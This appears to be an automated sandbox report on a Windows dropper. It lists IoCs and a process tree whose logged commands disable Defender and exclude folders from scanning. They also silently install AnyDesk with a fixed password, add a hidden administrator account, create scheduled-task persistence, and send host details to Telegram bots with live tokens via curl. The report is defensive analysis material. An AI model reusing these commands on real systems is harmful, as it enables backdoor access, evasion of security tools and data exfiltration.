Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell	wsappz.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\URL Protocol	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command	wsappz.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk	wsappz.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exewsappz.exeAnyDesk.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeIdle.exetimeout.exepowershell.exe

pid	process
1540	powershell.exe
1540	powershell.exe
1120	powershell.exe
1120	powershell.exe
1412	powershell.exe
1412	powershell.exe
2924	wsappz.exe
2924	wsappz.exe
3920
3920
3920
3920
3920
3920
3920
3920
3920
4752	AnyDesk.exe
4752	AnyDesk.exe
2812	powershell.exe
2812	powershell.exe
1792	powershell.exe
1792	powershell.exe
2312	powershell.exe
2312	powershell.exe
4552	powershell.exe
4552	powershell.exe
4308	powershell.exe
4308	powershell.exe
4900	powershell.exe
4900	powershell.exe
3492	powershell.exe
3492	powershell.exe
2264	powershell.exe
2264	powershell.exe
1040	powershell.exe
1040	powershell.exe
2504	powershell.exe
2504	powershell.exe
60	powershell.exe
60	powershell.exe
2752	powershell.exe
2752	powershell.exe
760	powershell.exe
760	powershell.exe
3180	Idle.exe
3180	Idle.exe
2812	powershell.exe
2812	powershell.exe
4552	powershell.exe
1792	powershell.exe
2312	powershell.exe
3492	powershell.exe
4900	powershell.exe
4308	powershell.exe
2264	powershell.exe
1040	powershell.exe
2504	powershell.exe
60	timeout.exe
2752	powershell.exe
760	powershell.exe
5268	powershell.exe
5268	powershell.exe
5268	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

~Ma4650.exe

pid process

5376 ~Ma4650.exe
Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

656

pid	process
5376	~Ma4650.exe

pid	process
656

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exetaskkill.exetaskkill.exepowershell.exeComdriverSvc.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeIdle.exepowershell.exepowershell.exevssvc.exepowershell.exetasklist.exepowershell.exepowershell.exeApplicationsFrameHost.exetasklist.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	3236	taskkill.exe
Token: SeDebugPrivilege	936	taskkill.exe
Token: SeDebugPrivilege	1412	powershell.exe
Token: SeDebugPrivilege	3920	ComdriverSvc.exe
Token: SeDebugPrivilege	2812	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	4552	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	4308	powershell.exe
Token: SeDebugPrivilege	4900	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	2264	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	3180	Idle.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	5268	powershell.exe
Token: SeBackupPrivilege	5808	vssvc.exe
Token: SeRestorePrivilege	5808	vssvc.exe
Token: SeAuditPrivilege	5808	vssvc.exe
Token: SeDebugPrivilege	6092	powershell.exe
Token: SeDebugPrivilege	636	tasklist.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	4868	powershell.exe
Token: SeLockMemoryPrivilege	2308	ApplicationsFrameHost.exe
Token: SeDebugPrivilege	1296	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4476	WMIC.exe
Token: SeSecurityPrivilege	4476	WMIC.exe
Token: SeTakeOwnershipPrivilege	4476	WMIC.exe
Token: SeLoadDriverPrivilege	4476	WMIC.exe
Token: SeSystemProfilePrivilege	4476	WMIC.exe
Token: SeSystemtimePrivilege	4476	WMIC.exe
Token: SeProfSingleProcessPrivilege	4476	WMIC.exe
Token: SeIncBasePriorityPrivilege	4476	WMIC.exe
Token: SeCreatePagefilePrivilege	4476	WMIC.exe
Token: SeBackupPrivilege	4476	WMIC.exe
Token: SeRestorePrivilege	4476	WMIC.exe
Token: SeShutdownPrivilege	4476	WMIC.exe
Token: SeDebugPrivilege	4476	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4476	WMIC.exe
Token: SeRemoteShutdownPrivilege	4476	WMIC.exe
Token: SeUndockPrivilege	4476	WMIC.exe
Token: SeManageVolumePrivilege	4476	WMIC.exe
Token: 33	4476	WMIC.exe
Token: 34	4476	WMIC.exe
Token: 35	4476	WMIC.exe
Token: 36	4476	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4476	WMIC.exe
Token: SeSecurityPrivilege	4476	WMIC.exe
Token: SeTakeOwnershipPrivilege	4476	WMIC.exe
Token: SeLoadDriverPrivilege	4476	WMIC.exe
Token: SeSystemProfilePrivilege	4476	WMIC.exe
Token: SeSystemtimePrivilege	4476	WMIC.exe
Token: SeProfSingleProcessPrivilege	4476	WMIC.exe
Token: SeIncBasePriorityPrivilege	4476	WMIC.exe
Token: SeCreatePagefilePrivilege	4476	WMIC.exe
Token: SeBackupPrivilege	4476	WMIC.exe
Token: SeRestorePrivilege	4476	WMIC.exe
Token: SeShutdownPrivilege	4476	WMIC.exe
Token: SeDebugPrivilege	4476	WMIC.exe

Suspicious use of FindShellTrayWindow 10 IoCs

Processes:

AnyDesk.exeIntelConfigService.exeApplicationsFrameHost.exeSuperfetch.exe

pid	process
224	AnyDesk.exe
224	AnyDesk.exe
224	AnyDesk.exe
5756	IntelConfigService.exe
5756	IntelConfigService.exe
5756	IntelConfigService.exe
2308	ApplicationsFrameHost.exe
6108	Superfetch.exe
6108	Superfetch.exe
6108	Superfetch.exe

Suspicious use of SendNotifyMessage 3 IoCs

Processes:

AnyDesk.exe

pid process

224 AnyDesk.exe
224 AnyDesk.exe
224 AnyDesk.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

1.exe~Ma4650.exe

pid process

4692 1.exe
5376 ~Ma4650.exe
5376 ~Ma4650.exe
5376 ~Ma4650.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

migrate.120.execmd.exedc.execmd.exeany.execmd.exenet.exenet.exenet.exeWScript.exe

description	pid	process	target process
PID 3952 wrote to memory of 1540	3952	migrate.120.exe	powershell.exe
PID 3952 wrote to memory of 1540	3952	migrate.120.exe	powershell.exe
PID 3952 wrote to memory of 1540	3952	migrate.120.exe	powershell.exe
PID 3952 wrote to memory of 1120	3952	migrate.120.exe	powershell.exe
PID 3952 wrote to memory of 1120	3952	migrate.120.exe	powershell.exe
PID 3952 wrote to memory of 1120	3952	migrate.120.exe	powershell.exe
PID 3952 wrote to memory of 4692	3952	migrate.120.exe	1.exe
PID 3952 wrote to memory of 4692	3952	migrate.120.exe	1.exe
PID 3952 wrote to memory of 4692	3952	migrate.120.exe	1.exe
PID 3952 wrote to memory of 32	3952	migrate.120.exe	cmd.exe
PID 3952 wrote to memory of 32	3952	migrate.120.exe	cmd.exe
PID 3952 wrote to memory of 32	3952	migrate.120.exe	cmd.exe
PID 3952 wrote to memory of 4068	3952	migrate.120.exe	any.exe
PID 3952 wrote to memory of 4068	3952	migrate.120.exe	any.exe
PID 3952 wrote to memory of 4068	3952	migrate.120.exe	any.exe
PID 3952 wrote to memory of 4296	3952	migrate.120.exe	dc.exe
PID 3952 wrote to memory of 4296	3952	migrate.120.exe	dc.exe
PID 3952 wrote to memory of 4296	3952	migrate.120.exe	dc.exe
PID 32 wrote to memory of 4772	32	cmd.exe	cmd.exe
PID 32 wrote to memory of 4772	32	cmd.exe	cmd.exe
PID 32 wrote to memory of 4772	32	cmd.exe	cmd.exe
PID 4296 wrote to memory of 776	4296	dc.exe	WScript.exe
PID 4296 wrote to memory of 776	4296	dc.exe	WScript.exe
PID 4296 wrote to memory of 776	4296	dc.exe	WScript.exe
PID 4772 wrote to memory of 4552	4772	cmd.exe	chcp.com
PID 4772 wrote to memory of 4552	4772	cmd.exe	chcp.com
PID 4772 wrote to memory of 4552	4772	cmd.exe	chcp.com
PID 4068 wrote to memory of 1344	4068	any.exe	cmd.exe
PID 4068 wrote to memory of 1344	4068	any.exe	cmd.exe
PID 4068 wrote to memory of 1344	4068	any.exe	cmd.exe
PID 4772 wrote to memory of 4828	4772	cmd.exe	timeout.exe
PID 4772 wrote to memory of 4828	4772	cmd.exe	timeout.exe
PID 4772 wrote to memory of 4828	4772	cmd.exe	timeout.exe
PID 1344 wrote to memory of 3636	1344	cmd.exe	chcp.com
PID 1344 wrote to memory of 3636	1344	cmd.exe	chcp.com
PID 1344 wrote to memory of 3636	1344	cmd.exe	chcp.com
PID 1344 wrote to memory of 4776	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 4776	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 4776	1344	cmd.exe	net.exe
PID 4776 wrote to memory of 2160	4776	net.exe	net1.exe
PID 4776 wrote to memory of 2160	4776	net.exe	net1.exe
PID 4776 wrote to memory of 2160	4776	net.exe	net1.exe
PID 1344 wrote to memory of 4352	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 4352	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 4352	1344	cmd.exe	net.exe
PID 4352 wrote to memory of 3508	4352	net.exe	net1.exe
PID 4352 wrote to memory of 3508	4352	net.exe	net1.exe
PID 4352 wrote to memory of 3508	4352	net.exe	net1.exe
PID 1344 wrote to memory of 2604	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 2604	1344	cmd.exe	net.exe
PID 1344 wrote to memory of 2604	1344	cmd.exe	net.exe
PID 2604 wrote to memory of 2392	2604	net.exe	net1.exe
PID 2604 wrote to memory of 2392	2604	net.exe	net1.exe
PID 2604 wrote to memory of 2392	2604	net.exe	net1.exe
PID 1344 wrote to memory of 3236	1344	cmd.exe	taskkill.exe
PID 1344 wrote to memory of 3236	1344	cmd.exe	taskkill.exe
PID 1344 wrote to memory of 3236	1344	cmd.exe	taskkill.exe
PID 1344 wrote to memory of 936	1344	cmd.exe	taskkill.exe
PID 1344 wrote to memory of 936	1344	cmd.exe	taskkill.exe
PID 1344 wrote to memory of 936	1344	cmd.exe	taskkill.exe
PID 1344 wrote to memory of 1412	1344	cmd.exe	powershell.exe
PID 1344 wrote to memory of 1412	1344	cmd.exe	powershell.exe
PID 1344 wrote to memory of 1412	1344	cmd.exe	powershell.exe
PID 776 wrote to memory of 2832	776	WScript.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\migrate.120.exe
"C:\Users\Admin\AppData\Local\Temp\migrate.120.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\migration , c:\users\kbtgt\desktop , C:\Windows\tasks , C:\Windows , C:\Windows\Logs , C:\Windows\SysWOW64 , C:\Windows\System32\WindowsPowerShell\v1.0 , C:\ProgramData , C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe , powershell.exe , c:\
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1120

C:\programdata\1.exe
"C:\programdata\1.exe" /D
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4692

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\ru.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:32

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /K "c:\programdata\st.bat"
3⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:4772

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:4552

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:4828

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" dir "C:\ProgramData\Microsoft\Windows Defender" "
4⤵
PID:2680

C:\Windows\SysWOW64\findstr.exe
findstr /i "Platform"
4⤵
PID:2392

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath c:\windows\migration\ , c:\users\kbtgt\desktop\ , C:\Windows\tasks\ , C:\Windows\ , C:\Windows\Logs\ , C:\Windows\SysWOW64\ , C:\Windows\System32\WindowsPowerShell\v1.0\ , C:\ProgramData\
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5268

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:636

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:3792

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:1060

C:\Windows\SysWOW64\takeown.exe
takeown /f c:\windows\tasks
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3520

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "*S-1-1-0:(R,REA,RA,RD)" "*S-1-5-7:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4204

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "SYSTEM:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2736

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Administrators:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4704

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Users:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4248

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3996

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "Admin:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3512

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Windows\Tasks" /inheritance:e /grant "EVERYONE:(R,REA,RA,RD)"
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2008

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
- Suspicious behavior: EnumeratesProcesses
PID:60

\??\c:\programdata\migrate.exe
c:\programdata\migrate.exe -p4432
4⤵
- Executes dropped EXE
- Checks computer location settings
- Drops file in Windows directory
PID:5076

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\windows\tasks\run.bat" "
5⤵
PID:1868

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:2916

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic.exe" install WMService IntelConfigService.exe
6⤵
- Executes dropped EXE
PID:760

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 1 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:2664

C:\windows\tasks\Wmiic.exe
"C:\windows\tasks\wmiic" start WMService
6⤵
- Executes dropped EXE
PID:4732

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 2 /NOBREAK
6⤵
- Delays execution with timeout.exe
PID:2136

C:\Windows\SysWOW64\net.exe
net start WMService
6⤵
PID:5268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start WMService
7⤵
PID:4644

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 3 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:400

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 60 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:2912

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1296

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:4288

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC CPU Get Name /Value|FindStr .
4⤵
PID:5096

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC CPU Get Name /Value
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4476

C:\Windows\SysWOW64\findstr.exe
FindStr .
5⤵
PID:5388

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c WMIC /Node:localhost Path Win32_VideoController Get Name /Value| FIND.EXE "="
4⤵
PID:3824

C:\Windows\SysWOW64\Wbem\WMIC.exe
WMIC /Node:localhost Path Win32_VideoController Get Name /Value
5⤵
PID:5016

C:\Windows\SysWOW64\find.exe
FIND.EXE "="
5⤵
PID:3032

C:\Windows\SysWOW64\tasklist.exe
tasklist /FI "IMAGENAME eq Superfetch.exe"
4⤵
- Enumerates processes with tasklist
PID:876

C:\Windows\SysWOW64\find.exe
find /I /N "Superfetch.exe"
4⤵
PID:5428

\??\c:\windows\curl.exe
c:\windows\curl.exe --insecure --data chat_id="552691400" --data parse-mode=markdown --data-urlencode text="GBQHURCCCORE2Intel Core Processor (Broadwell)Microsoft Basic Display AdapterSERVICE WMService RUN" "https://api.telegram.org/bot"5086556714:AAF7DbEW7CWKb1GEIy6_inxVlrGJ39JUUBM"/sendMessage"
4⤵
- Executes dropped EXE
PID:4228

C:\programdata\any.exe
"C:\programdata\any.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4068

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\programdata\any.bat" "
3⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\SysWOW64\chcp.com
chcp 65001
4⤵
PID:3636

C:\Windows\SysWOW64\net.exe
net stop TaskSc
4⤵
- Suspicious use of WriteProcessMemory
PID:4776

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskSc
5⤵
PID:2160

C:\Windows\SysWOW64\net.exe
net stop TaskScs
4⤵
- Suspicious use of WriteProcessMemory
PID:4352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TaskScs
5⤵
PID:3508

C:\Windows\SysWOW64\net.exe
net stop AnyDesk
4⤵
- Suspicious use of WriteProcessMemory
PID:2604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AnyDesk
5⤵
PID:2392

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM anydesk.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3236

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM wininit1.exe /F
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1412

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
5⤵
PID:3644

C:\ProgramData\wsappz.exe
C:\ProgramData\wsappz.exe --install C:\ProgramData\AnyDesk --start-with-win --silent
6⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:2924

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:3136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c echo Pass32552
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:6092

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo Pass32552
5⤵
PID:3900

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --set-password
4⤵
- Executes dropped EXE
PID:6104

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:3632

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell cmd.exe /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2496

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\ProgramData\AnyDesk\anydesk.exe --get-id
5⤵
PID:3640

C:\ProgramData\AnyDesk\AnyDesk.exe
C:\ProgramData\AnyDesk\anydesk.exe --get-id
6⤵
- Executes dropped EXE
PID:5520

C:\Windows\SysWOW64\timeout.exe
TIMEOUT /T 10 /NOBREAK
4⤵
- Delays execution with timeout.exe
PID:5128

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c find /n /v ""
4⤵
PID:4296

C:\Windows\SysWOW64\find.exe
find /n /v ""
5⤵
PID:4616

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "(new-object System.Net.WebClient).DownloadString('https://ipinfo.io/ip')"
4⤵
- Blocklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c find /n /v ""
4⤵
PID:5252

C:\Windows\SysWOW64\find.exe
find /n /v ""
5⤵
PID:5652

\??\c:\windows\curl.exe
c:\windows\curl.exe --insecure --data chat_id="552691400" --data parse-mode=markdown --data-urlencode text="ANY_GBQHURCC'id:'"0"'ip:'"154.61.71.13"" "https://api.telegram.org/bot"5513453963:AAEqmVGigjirKuykDiL7YHcdVrBQ72q07Ss"/sendMessage"
4⤵
- Executes dropped EXE
PID:5668

C:\Windows\SysWOW64\net.exe
net user oldadministrator "Pass32552" /add
4⤵
PID:5804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 user oldadministrator "Pass32552" /add
5⤵
PID:5936

C:\Windows\SysWOW64\net.exe
net localgroup Administrators oldadministrator /ADD
4⤵
PID:5956

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup Administrators oldadministrator /ADD
5⤵
PID:5968

C:\Windows\SysWOW64\net.exe
net localgroup administradores oldadministrator /add
4⤵
PID:5736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administradores oldadministrator /add
5⤵
PID:4320

C:\Windows\SysWOW64\net.exe
net localgroup administratoren oldadministrator /add
4⤵
PID:5984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administratoren oldadministrator /add
5⤵
PID:5996

C:\Windows\SysWOW64\net.exe
net localgroup administrateurs oldadministrator /add
4⤵
PID:6004

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup administrateurs oldadministrator /add
5⤵
PID:6016

C:\Windows\SysWOW64\net.exe
net localgroup администраторы oldadministrator /add
4⤵
PID:2492

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 localgroup администраторы oldadministrator /add
5⤵
PID:6028

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f
4⤵
PID:2864

C:\programdata\dc.exe
"C:\programdata\dc.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4296

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\runtimeMonitor\eW0NlR3z8rHah1r0tet2KhNAo.vbe"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:776

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\runtimeMonitor\PsYm20I.bat" "
4⤵
PID:2832

C:\runtimeMonitor\ComdriverSvc.exe
"C:\runtimeMonitor\ComdriverSvc.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3920

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/odt/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2812

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4308

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/runtimeMonitor/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2504

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:60

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2264

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Program Files\Common Files\System\Idle.exe
"C:\Program Files\Common Files\System\Idle.exe"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'
6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:760

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\runtimeMonitor\cmd.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\runtimeMonitor\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3840

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\runtimeMonitor\cmd.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\Users\Public\Downloads\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
